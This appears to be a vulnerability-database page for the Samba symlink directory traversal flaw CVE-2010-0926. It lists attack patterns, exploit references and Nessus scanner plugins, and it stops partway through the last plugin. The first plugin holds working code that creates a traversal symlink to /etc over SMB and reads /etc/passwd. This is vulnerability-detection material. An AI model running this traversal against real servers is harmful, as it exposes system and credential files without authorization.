Vulnerabilities > CVE-2010-0926 - Path Traversal vulnerability in Samba

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
samba
CWE-22
nessus
exploit available
metasploit

Summary

The default configuration of smbd in Samba before 3.3.11, 3.4.x before 3.4.6, and 3.5.x before 3.5.0rc3, when a writable share exists, allows remote authenticated users to leverage a directory traversal vulnerability, and access arbitrary files, by using the symlink command in smbclient to create a symlink containing .. (dot dot) sequences, related to the combination of the unix extensions and wide links options.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

Exploit-Db

  • descriptionSamba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory. CVE-2017-2619. Remote exploit for Multiple platform
    fileexploits/multiple/remote/41740.txt
    idEDB-ID:41740
    last seen2017-03-27
    modified2017-03-27
    platformmultiple
    port
    published2017-03-27
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/41740/
    titleSamba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory
    typeremote
  • descriptionSamba 3.4.5 Symlink Directory Traversal Vulnerability (2). CVE-2010-0926. Remote exploit for linux platform
    idEDB-ID:33599
    last seen2016-02-03
    modified2010-02-04
    published2010-02-04
    reporterkingcope
    sourcehttps://www.exploit-db.com/download/33599/
    titleSamba <= 3.4.5 - Symlink Directory Traversal Vulnerability C
  • descriptionSamba 3.4.5 Symlink Directory Traversal Vulnerability. CVE-2010-0926. Remote exploit for linux platform
    idEDB-ID:33598
    last seen2016-02-03
    modified2010-02-04
    published2010-02-04
    reporterkingcope
    sourcehttps://www.exploit-db.com/download/33598/
    titleSamba <= 3.4.5 - Symlink Directory Traversal Vulnerability Metasploit

Metasploit

descriptionThis module exploits a directory traversal flaw in the Samba CIFS server. To exploit this flaw, a writeable share must be specified. The newly created directory will link to the root filesystem.
idMSF:AUXILIARY/ADMIN/SMB/SAMBA_SYMLINK_TRAVERSAL
last seen2019-12-28
modified2018-07-12
published2010-02-05
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/admin/smb/samba_symlink_traversal.rb
titleSamba Symlink Directory Traversal

Nessus

  • NASL familyMisc.
    NASL idSAMBA_SYMLINK_DIR_TRAVERSAL.NASL
    descriptionThe remote Samba server is configured insecurely and allows a remote attacker to gain read or possibly write access to arbitrary files on the affected host. Specifically, if an attacker has a valid Samba account for a share that is writable or there is a writable share that is configured to be a guest account share, he can create a symlink using directory traversal sequences and gain access to files and directories outside that share. Note that successful exploitation requires that the Samba server
    last seen2020-06-01
    modified2020-06-02
    plugin id44406
    published2010-02-08
    reporterThis script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/44406
    titleSamba Symlink Traversal Arbitrary File Access (unsafe check)
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    
    include("compat.inc");
    
    
    if (description)
    {
      script_id(44406);
      script_version("1.22");
      script_cvs_date("Date: 2018/11/15 20:50:24");
    
      script_bugtraq_id(38111);
      script_cve_id("CVE-2010-0926");
      script_xref(name:"Secunia", value:"38454");
    
      script_name(english:"Samba Symlink Traversal Arbitrary File Access (unsafe check)");
      script_summary(english:"Attempts to grab /etc/passwd");
    
      script_set_attribute(
        attribute:"synopsis",
        value:"The remote file server is prone to a symlink attack."
      );
      script_set_attribute(
        attribute:"description",
        value:
    "The remote Samba server is configured insecurely and allows a remote
    attacker to gain read or possibly write access to arbitrary files on
    the affected host.  Specifically, if an attacker has a valid Samba
    account for a share that is writable or there is a writable share that
    is configured to be a guest account share, he can create a symlink
    using directory traversal sequences and gain access to files and
    directories outside that share. 
    
    Note that successful exploitation requires that the Samba server's
    'wide links' parameter be set to 'yes', which is the default."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://seclists.org/fulldisclosure/2010/Feb/99"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.youtube.com/watch?v=NN50RtZ2N74"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://www.samba.org/samba/news/symlink_attack.html"
      );
      script_set_attribute(
        attribute:"solution",
        value:"Set 'wide links = no' in the [global] section of smbd.conf."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
    script_cwe_id(22);
    
      script_set_attribute(attribute:"vuln_publication_date",value:"2010/02/04");
      script_set_attribute(attribute:"plugin_publication_date",value:"2010/02/08");
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:samba:samba");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
    
      script_category(ACT_DESTRUCTIVE_ATTACK);
      script_family(english:"Misc.");
    
      script_copyright(english:"This script is Copyright (C) 2010-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("smb_accessible_shares.nasl");
      script_require_ports(139, 445);
      script_require_keys("SMB/samba");
    
      exit(0);
    }
    
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("smb_func.inc");
    include("byte_func.inc");
    include("data_protection.inc");
    
    SET_PATH_INFO = 0x06;
    SET_FILE_UNIX_LINK = 0x0201;
    
    
    # taken from smb_kb917159.nasl
    function smb_get_error_code(data)
    {
      local_var header, flags2, code;
    
      # Some checks in the header first
      header = get_smb_header (smbblob:data);
      if (!header)
        return NULL;
    
      flags2 = get_header_flags2 (header:header);
      if (flags2 & SMB_FLAGS2_32BIT_STATUS)
      {
        code = get_header_nt_error_code (header:header);
      }
      else
      {
        code = get_header_dos_error_code (header:header);
      }
    
      return code;
    }
    
    function create_symlink(source, target)
    {
      local_var header, link_src, link_target, link_param, link_data, data, params;
      local_var smb_params, smb_data, nb_pkt, ret;
    
      if (isnull(source))
      {
        err_print('create_symlink(): missing required argument "source".');
        return NULL;
      }
      if (isnull(target))
      {
        err_print('create_symlink(): missing required argument "target".');
        return NULL;
      }
    
      header = smb_header(Command:SMB_COM_TRANSACTION2,
                          Status:nt_status (Status: STATUS_SUCCESS));
    
      link_param = raw_word(w:SET_FILE_UNIX_LINK) + # level of interest
                   raw_dword(d:0) + # reserved
                   unicode(string:target) + mkword(0);
      link_data = unicode(string:source) + mkword(0);
      data = link_param + link_data;
    
      params = raw_word(w:strlen(link_param)) +  # param len
               raw_word(w:strlen(link_data)) +   # data len
               raw_word(w:2) +      # parameter count
               raw_word(w:0xffff) + # max data count
               raw_byte(b:0) +      # max setup count
               raw_byte(b:0) +      # reserved
               raw_word(w:0) +      # flags
               raw_dword(d:0) +     # timeout (return immediately)
               raw_word(w:0) +      # reserved
               raw_word(w:strlen(link_param)) +     # param len
               raw_word(w:68) +     # parameter offset
               raw_word(w:strlen(link_data)) +     # data len
               raw_word(w:68+strlen(link_param)) + # data offset
               raw_byte(b:1) +  # setup count
               raw_byte(b:0) +  # reserved
               raw_word(w:SET_PATH_INFO); # subcommand
      
      smb_params = smb_parameters(data:params);
      smb_data = smb_data(data:mkbyte(0)+mkword(0)+data);
      nb_pkt = netbios_packet(header:header, parameters:smb_params, data:smb_data);
      ret = smb_sendrecv (data:nb_pkt);
    
      if (!ret)
        return NULL;
    
      return smb_get_error_code(data:ret);
    }
    
    
    #
    # execution begins here
    #
    
    axx_shares = get_kb_item("SMB/accessible_shares/1");
    axx_shares = split(axx_shares, sep:'\n', keep:FALSE);
    share = NULL;
    
    # we need to know at least one writable share in order to test for this
    foreach line (axx_shares)
    {
      match = eregmatch(string:line, pattern:'^- (.+)  - \\((.+)\\)$');
      if (match)
      {
        if ('writable' >< match[2])
        {
          share = match[1];
          break;
        }
        else
          debug_print('Share "'+share+'" is not writable.');
      }
      else err_print("Error parsing accessible share data.");
    }
    
    if (isnull(share))
      exit(0, 'No writable shares were enumerated on the remote host.');
    
    name    =  kb_smb_name();
    port    =  kb_smb_transport();
    if (!get_port_state(port)) exit(0, "Port "+port+" is not open.");
    login   =  kb_smb_login();
    pass    =  kb_smb_password();
    domain  =  kb_smb_domain();
    
    soc = open_sock_tcp(port);
    if (!soc) exit(1, "Failed to open a socket on port "+port+".");
    
    session_init(socket:soc, hostname:name);
    rc = NetUseAdd(login:login, password:pass, domain:domain, share:share);
    if (rc != 1)
    {
      NetUseDel();
      exit(1, "Can't connect to '"+share+"' share.");
    }
    
    # attempt to create a symlink using a directory traversal
    link_name = SCRIPT_NAME+'-'+unixtime();
    ret = create_symlink(
      source:'../../../../../../../../../../etc',
      target:link_name
    );
    
    if (ret != STATUS_SUCCESS)
    {
      NetUseDel();
      exit(0, "The host is not affected.");
    }
    
    # If the dir traversal worked, we should be able to read the passwd file
    file = link_name+'\\passwd';
    
    fh = CreateFile(
      file:file,
      desired_access:GENERIC_READ,
      file_attributes:FILE_ATTRIBUTE_NORMAL,
      share_mode:FILE_SHARE_READ,
      create_disposition:OPEN_EXISTING
    );
    
    # grab the contents of the passwd file
    passwd = '';
    if (fh)
    {
      len = 1024;
      idx = 0;
    
      repeat
      {
        data = ReadFile(handle:fh, length:len, offset:idx);
        passwd += data;
        idx += strlen(data);
      } until (strlen(data) < len);
    
      CloseFile(handle:fh);
    }
    
    NetUseDel();
    
    if (strlen(passwd) > 0)
    {
      passwd = data_protection::redact_etc_passwd(output:passwd);
      if (report_verbosity > 0)
      {
        report = '\nNessus was able to read the contents of /etc/passwd :\n\n'+
                 crap(data:"-", length:30)+" snip "+crap(data:"-", length:30)+'\n'+
                 passwd+'\n'+
                 crap(data:"-", length:30)+" snip "+crap(data:"-", length:30)+'\n';
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
    }
    else exit(1, 'Unable to read "'+file+'" from share "'+share+'".');
    
  • NASL familySuSE Local Security Checks
    NASL idSUSE_CIFS-MOUNT-6920.NASL
    descriptionWith enabled
    last seen2020-06-01
    modified2020-06-02
    plugin id45471
    published2010-04-09
    reporterThis script is Copyright (C) 2010-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/45471
    titleSuSE 10 Security Update : Samba (ZYPP Patch Number 6920)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The text description of this plugin is (C) Novell, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(45471);
      script_version ("1.10");
      script_cvs_date("Date: 2019/10/25 13:36:40");
    
      script_cve_id("CVE-2010-0547", "CVE-2010-0926");
    
      script_name(english:"SuSE 10 Security Update : Samba (ZYPP Patch Number 6920)");
      script_summary(english:"Checks rpm output for the updated packages");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote SuSE 10 host is missing a security-related patch."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "With enabled 'wide links' samba follows symbolic links on the server
    side, therefore allowing clients to overwrite arbitrary files
    (CVE-2010-0926). This update changes the default setting to have 'wide
    links' disabled by default. The new default only works if 'wide links'
    is not set explicitly in smb.conf.
    
    Due to a race condition in mount.cifs a local attacker could corrupt
    /etc/mtab if mount.cifs is installed setuid root. mount.cifs is not
    setuid root by default and it's not recommended to change that.
    (CVE-2010-0547)"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://support.novell.com/security/cve/CVE-2010-0547.html"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://support.novell.com/security/cve/CVE-2010-0926.html"
      );
      script_set_attribute(attribute:"solution", value:"Apply ZYPP patch number 6920.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:P/I:N/A:N");
      script_cwe_id(20, 22);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:suse:suse_linux");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2010/03/11");
      script_set_attribute(attribute:"plugin_publication_date", value:"2010/04/09");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2010-2019 Tenable Network Security, Inc.");
      script_family(english:"SuSE Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/cpu", "Host/SuSE/release", "Host/SuSE/rpm-list");
    
      exit(0);
    }
    
    
    include("global_settings.inc");
    include("rpm.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) exit(0, "Local checks are not enabled.");
    if (!get_kb_item("Host/SuSE/release")) exit(0, "The host is not running SuSE.");
    if (!get_kb_item("Host/SuSE/rpm-list")) exit(1, "Could not obtain the list of installed packages.");
    
    cpu = get_kb_item("Host/cpu");
    if (isnull(cpu)) exit(1, "Failed to determine the architecture type.");
    if (cpu >!< "x86_64" && cpu !~ "^i[3-6]86$") exit(1, "Local checks for SuSE 10 on the '"+cpu+"' architecture have not been implemented.");
    
    
    flag = 0;
    if (rpm_check(release:"SLED10", sp:2, reference:"cifs-mount-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLED10", sp:2, reference:"libsmbclient-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLED10", sp:2, reference:"libsmbclient-devel-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLED10", sp:2, reference:"samba-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLED10", sp:2, reference:"samba-client-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLED10", sp:2, reference:"samba-krb-printing-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLED10", sp:2, reference:"samba-vscan-0.3.6b-42.85.7")) flag++;
    if (rpm_check(release:"SLED10", sp:2, reference:"samba-winbind-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLED10", sp:2, cpu:"x86_64", reference:"libsmbclient-32bit-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLED10", sp:2, cpu:"x86_64", reference:"samba-32bit-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLED10", sp:2, cpu:"x86_64", reference:"samba-client-32bit-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLED10", sp:2, cpu:"x86_64", reference:"samba-winbind-32bit-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"cifs-mount-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"libmsrpc-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"libmsrpc-devel-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"libsmbclient-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"libsmbclient-devel-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"samba-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"samba-client-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"samba-krb-printing-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"samba-python-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"samba-vscan-0.3.6b-42.85.7")) flag++;
    if (rpm_check(release:"SLES10", sp:2, reference:"samba-winbind-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, cpu:"x86_64", reference:"libsmbclient-32bit-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, cpu:"x86_64", reference:"samba-32bit-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, cpu:"x86_64", reference:"samba-client-32bit-3.0.32-0.18")) flag++;
    if (rpm_check(release:"SLES10", sp:2, cpu:"x86_64", reference:"samba-winbind-32bit-3.0.32-0.18")) flag++;
    
    
    if (flag)
    {
      if (report_verbosity > 0) security_note(port:0, extra:rpm_report_get());
      else security_note(0);
      exit(0);
    }
    else exit(0, "The host is not affected.");
    
  • NASL familySuSE Local Security Checks
    NASL idSUSE_11_2_CIFS-MOUNT-100315.NASL
    descriptionWith enabled
    last seen2020-06-01
    modified2020-06-02
    plugin id45341
    published2010-03-25
    reporterThis script is Copyright (C) 2010-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/45341
    titleopenSUSE Security Update : cifs-mount (cifs-mount-2128)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were
    # extracted from openSUSE Security Update cifs-mount-2128.
    #
    # The text description of this plugin is (C) SUSE LLC.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(45341);
      script_version("1.8");
      script_cvs_date("Date: 2019/10/25 13:36:38");
    
      script_cve_id("CVE-2010-0547", "CVE-2010-0926");
    
      script_name(english:"openSUSE Security Update : cifs-mount (cifs-mount-2128)");
      script_summary(english:"Check for the cifs-mount-2128 patch");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote openSUSE host is missing a security update."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "With enabled 'wide links' samba follows symbolic links on the server
    side, therefore allowing clients to overwrite arbitrary files
    (CVE-2010-0926). This update changes the default setting to have 'wide
    links' disabled by default. The new default only works if 'wide links'
    is not set explicitly in smb.conf.
    
    Due to a race condition in mount.cifs a local attacker could corrupt
    /etc/mtab if mount.cifs is installed setuid root. mount.cifs is not
    setuid root by default and it's not recommended to change that
    (CVE-2010-0547)."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.novell.com/show_bug.cgi?id=577868"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"https://bugzilla.novell.com/show_bug.cgi?id=577925"
      );
      script_set_attribute(
        attribute:"solution", 
        value:"Update the affected cifs-mount packages."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:P/I:N/A:N");
      script_cwe_id(20, 22);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:cifs-mount");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:ldapsmb");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libnetapi-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libnetapi0");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libsmbclient-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libsmbclient0");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libsmbclient0-32bit");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libsmbsharemodes-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libsmbsharemodes0");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libtalloc-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libtalloc1");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libtalloc1-32bit");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libtdb-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libtdb1");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libtdb1-32bit");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libwbclient-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libwbclient0");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:libwbclient0-32bit");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:samba");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:samba-32bit");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:samba-client");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:samba-client-32bit");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:samba-devel");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:samba-krb-printing");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:samba-winbind");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:samba-winbind-32bit");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:novell:opensuse:11.2");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2010/03/15");
      script_set_attribute(attribute:"plugin_publication_date", value:"2010/03/25");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2010-2019 Tenable Network Security, Inc.");
      script_family(english:"SuSE Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/SuSE/release", "Host/SuSE/rpm-list", "Host/cpu");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("global_settings.inc");
    include("rpm.inc");
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    release = get_kb_item("Host/SuSE/release");
    if (isnull(release) || release =~ "^(SLED|SLES)") audit(AUDIT_OS_NOT, "openSUSE");
    if (release !~ "^(SUSE11\.2)$") audit(AUDIT_OS_RELEASE_NOT, "openSUSE", "11.2", release);
    if (!get_kb_item("Host/SuSE/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    ourarch = get_kb_item("Host/cpu");
    if (!ourarch) audit(AUDIT_UNKNOWN_ARCH);
    if (ourarch !~ "^(i586|i686|x86_64)$") audit(AUDIT_ARCH_NOT, "i586 / i686 / x86_64", ourarch);
    
    flag = 0;
    
    if ( rpm_check(release:"SUSE11.2", reference:"cifs-mount-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"ldapsmb-1.34b-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libnetapi-devel-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libnetapi0-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libsmbclient-devel-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libsmbclient0-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libsmbsharemodes-devel-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libsmbsharemodes0-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libtalloc-devel-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libtalloc1-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libtdb-devel-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libtdb1-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libwbclient-devel-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"libwbclient0-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"samba-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"samba-client-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"samba-devel-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"samba-krb-printing-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", reference:"samba-winbind-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", cpu:"x86_64", reference:"libsmbclient0-32bit-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", cpu:"x86_64", reference:"libtalloc1-32bit-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", cpu:"x86_64", reference:"libtdb1-32bit-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", cpu:"x86_64", reference:"libwbclient0-32bit-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", cpu:"x86_64", reference:"samba-32bit-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", cpu:"x86_64", reference:"samba-client-32bit-3.4.3-3.2.1") ) flag++;
    if ( rpm_check(release:"SUSE11.2", cpu:"x86_64", reference:"samba-winbind-32bit-3.4.3-3.2.1") ) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_note(port:0, extra:rpm_report_get());
      else security_note(0);
      exit(0);
    }
    else
    {
      tested = pkg_tests_get();
      if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
      else audit(AUDIT_PACKAGE_NOT_INSTALLED, "cifs-mount / ldapsmb / libnetapi-devel / libnetapi0 / etc");
    }
    
  • NASL familySuSE Local Security Checks
    NASL idSUSE9_12595.NASL
    descriptionWith enabled
    last seen2020-06-01
    modified2020-06-02
    plugin id45453
    published2010-04-09
    reporterThis script is Copyright (C) 2010-2019 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/45453
    titleSuSE9 Security Update : Samba (YOU Patch Number 12595)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The text description of this plugin is (C) Novell, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(45453);
      script_version("1.7");
      script_cvs_date("Date: 2019/10/25 13:36:37");
    
      script_cve_id("CVE-2010-0547", "CVE-2010-0926");
    
      script_name(english:"SuSE9 Security Update : Samba (YOU Patch Number 12595)");
      script_summary(english:"Checks rpm output for the updated packages");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:"The remote SuSE 9 host is missing a security-related patch."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "With enabled 'wide links' samba follows symbolic links on the server
    side, therefore allowing clients to overwrite arbitrary files
    (CVE-2010-0926). This update changes the default setting to have 'wide
    links' disabled by default. The new default only works if 'wide links'
    is not set explicitly in smb.conf.
    
    Due to a race condition in mount.cifs a local attacker could corrupt
    /etc/mtab if mount.cifs is installed setuid root. mount.cifs is not
    setuid root by default and it's not recommended to change that.
    (CVE-2010-0547)"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://support.novell.com/security/cve/CVE-2010-0547.html"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://support.novell.com/security/cve/CVE-2010-0926.html"
      );
      script_set_attribute(attribute:"solution", value:"Apply YOU patch number 12595.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:S/C:P/I:N/A:N");
      script_cwe_id(20, 22);
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:suse:suse_linux");
    
      script_set_attribute(attribute:"patch_publication_date", value:"2010/03/12");
      script_set_attribute(attribute:"plugin_publication_date", value:"2010/04/09");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2010-2019 Tenable Network Security, Inc.");
      script_family(english:"SuSE Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
